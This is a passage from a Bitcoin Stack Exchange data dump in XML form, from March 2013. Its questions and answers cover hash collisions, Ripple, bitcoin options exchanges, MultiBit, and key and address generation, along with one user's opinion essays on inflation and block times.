appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3060" LastActivityDate="2013-03-20T11:45:08.530" Title="How long will it take for OpenCoin to distribute the 50 billion XRPs?" Tags="|ripple|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8520" PostTypeId="2" ParentId="8515" CreationDate="2013-03-19T19:41:21.283" Score="3" Body="&lt;p&gt;Even without the whole discussion about merkle trees, having two transactions with the same hash could create a fork that would not be resolved without manual intervention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the transactions are also identified by their hash on the protocol the clients would get either &lt;code&gt;t&lt;/code&gt; or &lt;code&gt;t'&lt;/code&gt;, where &lt;code&gt;hash(t) = hash(t')&lt;/code&gt;, that means that while nodes believe they accepted the same transaction, they would in fact have agreed upon two different transactions that conflict with each other. This would cause havoc down the line when a transaction tries to claim the outputs created by &lt;code&gt;t&lt;/code&gt;. As these outputs are created in &lt;code&gt;t&lt;/code&gt; and not in &lt;code&gt;t'&lt;/code&gt; depending on which of the two you accepted, the followup transaction would be either valid or invalid, and so the problem spreads from one transaction to many.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction being valid in one part of the network and not in the other will cause a blockchain fork, that might persist possibly requiring manual intervention.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going back to the scenario you stated: the merchant would be tricked out of his money. He would believe the funds to be spendable, but every transaction he attempts with those outputs would be flagged as invalid, as per your scenario he gets &lt;code&gt;t&lt;/code&gt; whereas a majority of the mining power gets &lt;code&gt;t'&lt;/code&gt; and therefore &lt;code&gt;t'&lt;/code&gt; will make it into the chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, SHA-256 is thought to be collision resistant and the chance of finding a collision to a specific hash requires incredible amounts of attempts. Even finding a collision between any two inputs is incredibly hard, and the subject of many research challenges. So, it's unlikely to happen anytime soon.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="5406" LastEditDate="2015-05-08T09:27:13.333" LastActivityDate="2015-05-08T09:27:13.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8521" PostTypeId="5" CreationDate="2013-03-19T21:58:56.683" Score="0" Body="&lt;p&gt;Multibit is a lightweight Bitcoin wallet. It does not store the full blockchain and must ask full nodes for transactions pertaining to the wallet. Its disk usage is minimal as it only stores the block headers to ensure that it is connected to nodes using a blockchain with the most work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multibit was acquired by KeepKey which has since stopped development work on Multibit. It has several known issues which will likely never be solved as the software is no longer supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions related to the usage and development of Multibit should use this tag.&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="48884" LastEditDate="2017-10-20T20:09:46.830" LastActivityDate="2017-10-20T20:09:46.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8522" PostTypeId="4" CreationDate="2013-03-19T21:58:56.683" Score="0" Body="This tag should be used for MultiBit, a now defunct lightweight Bitcoin client." OwnerUserId="888" LastEditorUserId="48884" LastEditDate="2017-10-20T20:09:46.830" LastActivityDate="2017-10-20T20:09:46.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8523" PostTypeId="2" ParentId="8514" CreationDate="2013-03-19T22:51:04.287" Score="3" Body="&lt;p&gt;As Ripple appears to allow one to create exchange listing for any pair of currencies, it might very well server as an exchange unto itself. It is possible that the project will replace the traditional exchanges, possibly turning them into Gateways to put money in and out of the system instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then again, that might be far in the future - at the present time there is a healthy amount of scepticism surrounding how safe the Ripple system is, so not a lot of people would be willing to abstract their money even further with it than they are used to.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-03-19T22:51:04.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8525" PostTypeId="1" CreationDate="2013-03-20T02:32:46.440" Score="0" ViewCount="153" Body="&lt;p&gt;I would like to sell puts on bitcoin to collect premiums if bitcoin goes up in value to usd, and to be long bitcoins at a lower price if I get exercised. This is much more predictable for me than just buying bitcoins at the top of a rally, given the volatile pricing in this market. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does any active exchange have options on bitcoins? www.icbit.se has futures and options but doesn't seem to have any relevant products listed&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2013-03-20T02:32:46.440" Title="any exchange to sell naked puts on bitcoin?" Tags="|exchanges|trading|investing|options|" AnswerCount="0" CommentCount="4" ClosedDate="2013-03-30T11:56:39.610" ContentLicense="CC BY-SA 3.0" />
  <row Id="8526" PostTypeId="1" CreationDate="2013-03-20T04:05:27.640" Score="1" ViewCount="4372" Body="&lt;p&gt;Can bitcoind be installed and run on shared hosting? Has anyone successfully done this? If not why not.&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="1766" LastEditDate="2013-03-25T04:52:59.303" LastActivityDate="2017-12-13T09:44:56.837" Title="Can Bitcoin be run in a shared hosting environment?" Tags="|bitcoind|server|installation|hosting|" AnswerCount="4" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="8528" PostTypeId="2" ParentId="242" CreationDate="2013-03-20T05:12:40.910" Score="-1" Body="&lt;p&gt;MPEX has the &lt;a href=&quot;http://mpex.co&quot; rel=&quot;nofollow&quot;&gt;MPOE&lt;/a&gt; (options exchange) in which CALLs may be written or bought, and PUTs which may be sold or bought.  There is a barrier to entry in the one-time exchange registration fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.icbit.se&quot; rel=&quot;nofollow&quot;&gt;ICBit&lt;/a&gt; offers trading of futures contracts, but those are not CALL or PUT options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://coinsetter.com&quot; rel=&quot;nofollow&quot;&gt;CoinSetter&lt;/a&gt; might be the first U.S. exchange to offer options when it launches (expected Spring 2013).&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-03-22T00:33:01.600" LastActivityDate="2013-03-22T00:33:01.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8529" PostTypeId="2" ParentId="4937" CreationDate="2013-03-20T05:14:40.080" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://www.bitfinex.com/&quot; rel=&quot;nofollow&quot;&gt;BitFinex&lt;/a&gt; was built using the leaked Bitcoinica source code.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-20T05:14:40.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8530" PostTypeId="1" CreationDate="2013-03-20T06:21:35.320" Score="1" ViewCount="351" Body="&lt;p&gt;I notice you can do it like this in the U.S &lt;a href=&quot;http://vimeo.com/44849463&quot; rel=&quot;nofollow&quot;&gt;http://vimeo.com/44849463&lt;/a&gt; but is the same method possible in Australia? We do have moneygram at 7-11's here.&lt;/p&gt;&#xA;" OwnerUserId="3449" LastActivityDate="2014-03-21T00:03:32.403" Title="Can I buy bitcoins with moneygram in Australia?" Tags="|trading|buy-bitcoins|" AnswerCount="2" CommentCount="1" ClosedDate="2014-03-21T02:33:19.520" ContentLicense="CC BY-SA 3.0" />
  <row Id="8531" PostTypeId="1" AcceptedAnswerId="8532" CreationDate="2013-03-20T07:09:05.977" Score="6" ViewCount="411" Body="&lt;p&gt;I know this is an open-source project, but what happens if the core contributors are gone? How will the community decide the future of the client?&lt;/p&gt;&#xA;" OwnerUserId="3450" LastActivityDate="2013-03-20T14:11:29.430" Title="What happens if Gavin and the other developers get hit by a truck?" Tags="|community|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8532" PostTypeId="2" ParentId="8531" CreationDate="2013-03-20T08:27:45.737" Score="8" Body="&lt;p&gt;If the entire core development team would be gone, a new team would need to take their place. I assume that the process might get political (some people wanting to push their agenda onto the project), and before the new devs would fully understand the system the innovation in the client might get stifled. It might also be likely that the Bitcoin Foundation would need to hire a few people to work on the project (just as they pay Gavin now). However, as there are already &lt;a href=&quot;http://bitcoin.org/about.html&quot;&gt;a lot of people&lt;/a&gt; that have contributed to the project, I don't think we couldn't handle the change in the long run.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-03-20T08:27:45.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8533" PostTypeId="2" ParentId="408" CreationDate="2013-03-20T08:54:13.970" Score="2" Body="&lt;p&gt;Inflation transfers capital from the middle class savers to those who capture the debasement. Typically the rich can position into investments and/or &quot;political capture&quot; which capture inflation, and the middle class may not individually have the economy-of-scale to do this as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deflation transfers capital from the middle class to the rich, because they save a much higher % of their income. And discourages risk taking, technological innovation, and deploying human capital (e.g. Dark Ages because &lt;a href=&quot;http://www.coolpage.com/commentary/economic/shelby/Demise%20of%20Finance,%20Rise%20of%20Knowledge.html#FinanceabilityofKnowledge&quot; rel=&quot;nofollow noreferrer&quot;&gt;stored passive capital can't create knowledge&lt;/a&gt;, and even more so in this knowledge age of digital innovation with cheap CPUs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus a store of value is only a sustainable representation of human capital (cost of child rearing, education, etc) if it encourages prosperity for the humans. Deflationary gold standards always fail politically over time (&lt;a href=&quot;http://esr.ibiblio.org/?p=4757#comment-394401&quot; rel=&quot;nofollow noreferrer&quot;&gt;when the import of capital peaks&lt;/a&gt;) because they destroy prosperity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem for Bitcoin is that if the model is &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5584/why-is-the-supply-of-bitcoin-not-pegged-to-its-demand/5590#comment11014_5590&quot;&gt;primary driven by ponzi appreciation&lt;/a&gt;, and not by transaction growth, then eventually capital importation will peak, and there will not be enough transaction growth to counteract the hyperinflationary spiral due to a stampede to extract value before others do. This capital importation peak can be accelerated by a competitor which brings to the market a system that has a significantly higher transaction growth rate, because ponzi schemes rely on future expectations-- confidence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The money supply growth of Bitcoin is decelerating while the nature of ponzi schemes is they accelerate in value as they drive towards a peak, because of the mass delusion of crowds and the stampede to not be the last to buy. This is a dangerous juxtaposition, but it seems we are not yet close to this day-of-reckoning although a competitor could accelerate it. This would probably beneficial because otherwise Bitcoin may setback crypto-currency adoption significantly after the hyperinflation spiral wipes out the majority who come in near the peak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it is just common sense that rewarding early adopters with 1000-fold increases in wealth simply for buying a store-of-value, is antithetical to prosperity. Imagine the poverty and inequity of a society that spends its time searching for ponzi speculations instead of innovating and producing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The counter-argument is that this initial speculation interest is necessary to drive adoption which will drive transaction growth. However, do we see this happening as the dangerous juxtaposition is accelerating?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know speculators in silver who are now ready to jump into Bitcoin. That is what brought my immediate attention to study this developing juxtaposition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also expecting this answer to fly over the heads of some voters. Apparently some of the participants either don't have a very good grasp of economics (or have a vested interest or I am wrong and they didn't comment to tell me why). I would appreciate if downvoters would at least try to defend their logic with a comment below my answer. That gives me an opportunity to debate them and show them why I think they are wrong (or to admit my mistake). The point is to make sure we collectively have the correct logic.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-03-20T18:27:18.960" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8534" PostTypeId="2" ParentId="7849" CreationDate="2013-03-20T09:54:01.533" Score="5" Body="&lt;ul&gt;&#xA;&lt;li&gt;&quot;Payward, Local Browser&quot; tries to fetch your wallet from Payward and if an account has not been found or if the Payward is not available / you are offline, it tries to fetch the wallet from local storage.&lt;/li&gt;&#xA;&lt;li&gt;&quot;Payward&quot; only looks in Payward.&lt;/li&gt;&#xA;&lt;li&gt;&quot;Local&quot; only looks in local storage.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;P. S. You've set where to save your wallet in &lt;a href=&quot;https://ripple.com/client/#/register&quot;&gt;https://ripple.com/client/#/register&lt;/a&gt; right after the &quot;Create Wallet&quot; button.&lt;/p&gt;&#xA;" OwnerUserId="3163" LastActivityDate="2013-03-20T09:54:01.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8535" PostTypeId="2" ParentId="8483" CreationDate="2013-03-20T11:09:48.987" Score="2" Body="&lt;p&gt;You can choose the private key to be whatever you want, and calculate the corresponding public key and bitcoin address.&lt;/p&gt;&#xA;&lt;p&gt;Adding to this answer, there is really no reason to want to do this. But if one really insisted, here is a way to do it with &lt;a href=&quot;https://github.com/stevenroose/hal/&quot; rel=&quot;nofollow noreferrer&quot;&gt;hal&lt;/a&gt;. First start with generating a random private key&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ hal key generate&#xA;{&#xA;  &amp;quot;raw_private_key&amp;quot;: &amp;quot;7019c07716861030e9334b88c24ee595b6fd922514a13de812e36cf6f910a898&amp;quot;,&#xA;  &amp;quot;wif_private_key&amp;quot;: &amp;quot;KzycuDEqJaMyjHWJDD9cdyPeH1rtCTgE5m1EHfCdnTs4ng2D43Bt&amp;quot;,&#xA;  &amp;quot;public_key&amp;quot;: &amp;quot;02260106e42d7aef51b92c6c4aa2d0a5a6f3e0c6ad68ee9fadd8bd50d8cbe1a0b4&amp;quot;,&#xA;  &amp;quot;uncompressed_public_key&amp;quot;: &amp;quot;04260106e42d7aef51b92c6c4aa2d0a5a6f3e0c6ad68ee9fadd8bd50d8cbe1a0b4349d9106ee1724cf51c954e6aec9522febd7fcb46d7248a0ce390810fc0ac6a0&amp;quot;,&#xA;  &amp;quot;addresses&amp;quot;: {&#xA;    &amp;quot;p2pkh&amp;quot;: &amp;quot;1J6wqBd7QVGt7vGCNfUShoDEwQg2LFTgRR&amp;quot;,&#xA;    &amp;quot;p2wpkh&amp;quot;: &amp;quot;bc1qhwvl6yyrtheep7rmsxmf536m45dzfz4wrxdacu&amp;quot;,&#xA;    &amp;quot;p2shwpkh&amp;quot;: &amp;quot;3QLdovvKokkyiyX3jTzgfaMCv9MiaoVW5C&amp;quot;&#xA;  }&#xA;}%                                     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then change the beginning of the raw private key to &lt;code&gt;deadbeef&lt;/code&gt; or whatever you want&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;7019c07716861030e9334b88c24ee595b6fd922514a13de812e36cf6f910a898&#xA;-&amp;gt;&#xA;deadbeef16861030e9334b88c24ee595b6fd922514a13de812e36cf6f910a898&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then get the address for it&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ hal key inspect deadbeef16861030e9334b88c24ee595b6fd922514a13de812e36cf6f910a898&#xA;{&#xA;  &amp;quot;raw_private_key&amp;quot;: &amp;quot;deadbeef16861030e9334b88c24ee595b6fd922514a13de812e36cf6f910a898&amp;quot;,&#xA;  &amp;quot;public_key&amp;quot;: &amp;quot;02de9367c92d7a42953e1afdf74d509d3992ba78bfb93f448859a1557e2685ca60&amp;quot;,&#xA;  &amp;quot;uncompressed_public_key&amp;quot;: &amp;quot;04de9367c92d7a42953e1afdf74d509d3992ba78bfb93f448859a1557e2685ca60b142aa0a4f495e16f80f811ec4556e3d33be28c930fab6e6a051e9a5bdc91d52&amp;quot;,&#xA;  &amp;quot;addresses&amp;quot;: {&#xA;    &amp;quot;p2pkh&amp;quot;: &amp;quot;1BhftRM4fNZRYdDYMUdujq9C84bRX84Qf8&amp;quot;,&#xA;    &amp;quot;p2wpkh&amp;quot;: &amp;quot;bc1qw439kmezxvdff0hnalmeqvfsnttd9gkjux5rct&amp;quot;,&#xA;    &amp;quot;p2shwpkh&amp;quot;: &amp;quot;34KVR36eoQrf48bmjQ46JU5dGVg1gqdUFg&amp;quot;&#xA;  }&#xA;}%   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3242" LastEditorUserId="1307" LastEditDate="2021-03-12T16:37:45.297" LastActivityDate="2021-03-12T16:37:45.297" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="8536" PostTypeId="2" ParentId="8519" CreationDate="2013-03-20T11:45:08.530" Score="2" Body="&lt;p&gt;The short answer is that nobody knows. In the short term, the rate of XRP release will be used to manage the network's growth. Once it transitions to a distributed network, that won't be an issue any more and it will likely then be limited just by how quickly we can give them away.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-03-20T11:45:08.530" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8537" PostTypeId="2" ParentId="1863" CreationDate="2013-03-20T12:16:08.920" Score="-3" Body="&lt;p&gt;AFAICS, the only possible benefit to the longer block time is the reduction of bandwidth overhead due to less probability of block chain splits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even doubt that tradeoff, because if the transaction data is the bulk then there is the counter-balancing effect that shorter block times mean less data to transmit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am highly skeptical that there must be more work wasted with shorter block time, if the difficulty is calibrated w.r.t. the time to arrive at a consensus. Mathematically the miners earn a percentage of the newly created blocks proportioned roughly by their percentage of the system hash power, regardless the relative split in proportion of their luck between work difficulty and (the random) orphaned chains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless there is a proof, I doubt the claim that shorter block times create longer times to arrive at consensus (i.e. re-org splits), because for example if there are 4 times more splits with 1/4 the block time, there are roughly 7 more iterations to arrive at consensus within the same duration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;G̶i̶v̶e̶n̶ ̶t̶h̶a̶t̶ ̶i̶r̶r̶e̶v̶e̶r̶s̶i̶b̶i̶l̶i̶t̶y̶ ̶i̶s̶ ̶a̶ ̶f̶u̶n̶c̶t̶i̶o̶n̶ ̶o̶f̶ ̶n̶u̶m̶b̶e̶r̶ ̶o̶f̶ ̶b̶l̶o̶c̶k̶s̶&amp;amp;̶m̶d̶a̶s̶h̶;̶ ̶n̶o̶t̶ ̶o̶f̶ ̶t̶i̶m̶e̶— ̶a̶n̶d̶ ̶t̶h̶e̶ ̶d̶i̶s̶a̶d̶v̶a̶n̶t̶a̶g̶e̶ ̶o̶f̶ ̶d̶e̶l̶a̶y̶s̶ ̶i̶n̶ ̶t̶r̶a̶n̶s̶a̶c̶t̶i̶o̶n̶s̶,̶ ̶i̶t̶ ̶s̶e̶e̶m̶s̶ ̶a̶ ̶s̶h̶o̶r̶t̶e̶r̶ ̶b̶l̶o̶c̶k̶ ̶t̶i̶m̶e̶ ̶i̶s̶ ̶c̶o̶m̶p̶e̶l̶l̶i̶n̶g̶.̶&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate if downvoters would at least try to defend their logic with a comment below my answer. That gives me an opportunity to debate them and show them why I think they are wrong (or to admit my mistake). The point is to make sure we collectively have the correct logic.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="3441" LastEditDate="2017-09-24T04:35:26.103" LastActivityDate="2017-09-24T04:35:26.103" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8538" PostTypeId="2" ParentId="2293" CreationDate="2013-03-20T12:50:49.137" Score="2" Body="&lt;p&gt;You can buy small numbers of Bitcoins with a credit card at &lt;a href=&quot;http://www.buybitcoinswithacreditcard.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.buybitcoinswithacreditcard.com/&lt;/a&gt; (or at least, you could as of March 21, 2013).&lt;/p&gt;&#xA;" OwnerUserId="3410" LastActivityDate="2013-03-20T12:50:49.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8540" PostTypeId="2" ParentId="8516" CreationDate="2013-03-20T13:04:48.830" Score="1" Body="&lt;p&gt;This appears to be a problem with the way Blockchain.info measures the network propagation. Blockchain.info is not connected to all nodes in the network, it just connects to a random sample of the nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if during the propagation new connections to more nodes are opened then they may also inform Blockchain.info of the existence of the transaction, so they will be counted as well. The same goes for clients that disconnect after the announcement, they will be counted towards the announcements but no longer to the sample size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A practical example would be that Blockchain.info has 100 connections open. Now a new transaction shows up, the nodes will start informing Blockchain.info about this transaction. While this happens 20 new nodes connect and also inform it about the transaction. So in total it gets 120 announcements, and if BC.info uses the number of connections when it first saw the transaction we get 120% nodes that saw it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same is also possible for disconnections. If BC.info starts out with 120 connections and while it measures the propagation of the transaction 20 nodes disconnect after they informed BC.info about the transaction it has 120 announcements, for only 100 open connections at the time it calculates the propagation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that the second method is used. Also BC.info had some connection issues lately so a 20% fluctuation in the number of connected peers is not surprising.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-03-20T13:04:48.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8541" PostTypeId="2" ParentId="8531" CreationDate="2013-03-20T14:11:29.430" Score="2" Body="&lt;p&gt;Bitcoin-Qt is just &lt;em&gt;one&lt;/em&gt; client. Yeah, it's the &lt;em&gt;reference&lt;/em&gt; client, meaning that all other clients are &lt;em&gt;expected&lt;/em&gt; to be compatible with it. So, the unity that Bitcoin-Qt espouses may disappear and it'd be up to the alt clients to work together with the community to decide on protocol enhancements ala BIP. I speculate that, in the worst case scenario, there may be a fork of the chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the core development team and its resources (bitcoin.org, its github and sourceforge presence, etc.) disappeared, there are likely enough people who have touched the code and even have it cached locally that &lt;em&gt;someone&lt;/em&gt; would be able to at least recompile and post a reliable package for the continuance of the reference client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In its absence, though, it's likely that Bitcoin progress would shift heavily to one of the other clients or implementations, most likely BitcoinJ. This assumes that the C++ implementation -- the reference client -- is abandoned because folks picking it up don't have the expertise necessary to maintain it. This has happened with other open source projects; BitTorrent once had reference client that has since disappeared and its alternatives (Azureus/Vuze, µTorrent, Transmission, etc.) took the forefront. So, there's a precedent.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-03-20T14:11:29.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8542" PostTypeId="2" ParentId="8485" CreationDate="2013-03-20T15:16:36.700" Score="3" Body="&lt;p&gt;There are several pool-implementations that create the individual workloads and track their completion. The &lt;a href=&quot;https://en.bitcoin.it/wiki/Poolservers&quot; rel=&quot;nofollow&quot;&gt;Poolservers&lt;/a&gt; article at the bitcoin.it Wiki has a comprehensive list, with a feature comparison.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-03-20T15:16:36.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8545" PostTypeId="1" AcceptedAnswerId="10700" CreationDate="2013-03-20T18:17:43.450" Score="18" ViewCount="5251" Body="&lt;p&gt;Bitcoin uses proof of work to secure the network, Ripple uses a global consensus system and PPCoin uses proof of stake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any known alternatives to the above methods?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="341" LastEditDate="2013-05-09T05:42:33.660" LastActivityDate="2017-01-05T08:50:44.010" Title="Are there alternatives for proof of work?" Tags="|security|doublespend|proof-of-work|proof-of-stake|consensus|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8546" PostTypeId="2" ParentId="3111" CreationDate="2013-03-20T18:24:21.333" Score="8" Body="&lt;p&gt;I've read some of the linked discussions, and it seems some of the participants fail to understand the basic economic theory of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Marginal_cost&quot; rel=&quot;nofollow noreferrer&quot;&gt;marginal cost&lt;/a&gt;. In any high fixed-capital business, the net present value (NPV) determines the ROI (IRR) and determines the opportunity cost where investors apply their capital. Thus, in normal functioning markets, the lowest marginal cost provider does not expand their capacity to take all of the volume at their cost, rather the market price is set by the highest marginal cost provider and the lower marginal cost sell at that price to maximize ROI and thus investment. Realize that not all investors have the same opportunity cost (some have better competing opportunities than others), thus the supply of investors at any given ROI is finite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there is a risk. The fundamental change facing Bitcoin's future is the shift from a forced highest marginal cost price structure— because all miners get the same price for mining a block— to a free market transaction fee pricing structure where dumping or subsidies could be used to destroy the higher marginal cost miners and gain a monopoly, thus also compromising the security of the system. However, a monopoly strategy could be applied in the current Bitcoin by dumping or subsidy to force difficulty rates up thus destroying higher marginal cost miners, and/or simply being a greater proportion of the total system hash computing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solution to this problem is simple and is necessary for another reason. A market-based transaction fee does not guarantee any level of hash computing power, unless the user is motivated to pay more for more security and/or &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1863/why-was-the-target-block-time-chosen-to-be-10-minutes/8537#8537&quot;&gt;transaction processing speed&lt;/a&gt;. Either this is incentivized by having the recipient pay the transaction fee (which is a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/408/does-hoarding-really-hurt-bitcoin/1157#comment11060_1157&quot;&gt;good idea any way&lt;/a&gt;), or the transaction fee should be set globally by the system to maintain a desired level of hash computing power (which means transactions that don't need it are penalized but at least it is consistent). Thinking through this further, market-based fee even if incentivized as stated, may not guarantee enough profitable business to offset the determined monopoly strategy, thus a global system transaction fee is safer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a sufficiently subsidized monopoly strategy can still drive the difficulty up and/or capture a larger proportion of total hash computing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One potential counter-measure is LiteCoin's Scrypt, as it should make it more expensive to monopolize and reward more CPUs to be miners thus decentralizing stake, although it does open the botnet risk. If debasement is paid back to users by encouraging them to run full nodes and leveling the playing field between ASICS and CPUs using Scrypt, then it is the world's processing power versus the monopolist. The user who is not gaining from mining and thinks they are running a full node, could be advised to run a test for presence of a botnet. This plays well with my conceptualization that &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/408/does-hoarding-really-hurt-bitcoin/8533#8533&quot;&gt;perpetual debasement is necessary&lt;/a&gt; (of which some might disagree so this answer is not making that claim). Btw, I think &lt;em&gt;Proof-of-Stake&lt;/em&gt; moves in the opposite direction by &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3111/will-bitcoin-suffer-from-a-mining-tragedy-of-the-commons-when-mining-fees-drop-t/3123#comment11077_3123&quot;&gt;centralizing stake&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A potential means for someone without deep pockets to monopolize Bitcoin, would be if ever there was a way to borrow sufficient Bitcoin to purchase the necessary 51% computing power, then destroy Bitcoin forcing an inflationary spiral as holders stampede to sell out, then repaying the borrowed Bitcoin at a fractional of the original value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current block size transaction limit doesn't accomplish anything other than cap throughput, because it doesn't move even if hashing capacity expands by either of the simple mechanisms in the prior paragraph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given my prior two answers got negative votes, I am also expecting this answer to fly over the heads of some voters. Apparently some of the participants either don't have a very good grasp of economics (or have a vested interest or I am wrong and they didn't comment to tell me why). I would appreciate if downvoters would at least try to defend their logic with a comment below my answer. That gives me an opportunity to debate them and show them why I think they are wrong (or to admit my mistake). The point is to make sure we collectively have the correct logic.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-03-20T21:27:32.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8547" PostTypeId="2" ParentId="8356" CreationDate="2013-03-20T18:59:52.133" Score="2" Body="&lt;p&gt;I believe that the earlier format that you are referring to is the Hash160 which is formed by taking the &lt;code&gt;sha256&lt;/code&gt; of the public key followed by taking the &lt;code&gt;ripemd160&lt;/code&gt; of the result:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;Hash160 = ripemd160(sha256(pubkey))&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Further, what we usually refer to as a Bitcoin address is formed by first concatenating the Hash160 with four checksum bytes (to make it extremely unlikely that you can type the wrong address into a bitcoin client by accident). Then, a network identifier (0x00 for main network) is prepended and the string is &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow&quot;&gt;base58 encoded&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;address = base58(0x00 + Hash160 + checksum)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As you can see these two formats can easily be converted from one to the other. In addition the public key can be encoded either compressed or uncompressed. This results in two different addresses. However, since you can obtain the public key from neither the Hash160 nor the base58 address it is not possible to convert an address of an uncompressed public key to the address corresponding to the compressed public key, and vice versa.&lt;/p&gt;&#xA;" OwnerUserId="3142" LastEditorUserId="3142" LastEditDate="2013-05-30T15:20:49.163" LastActivityDate="2013-05-30T15:20:49.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
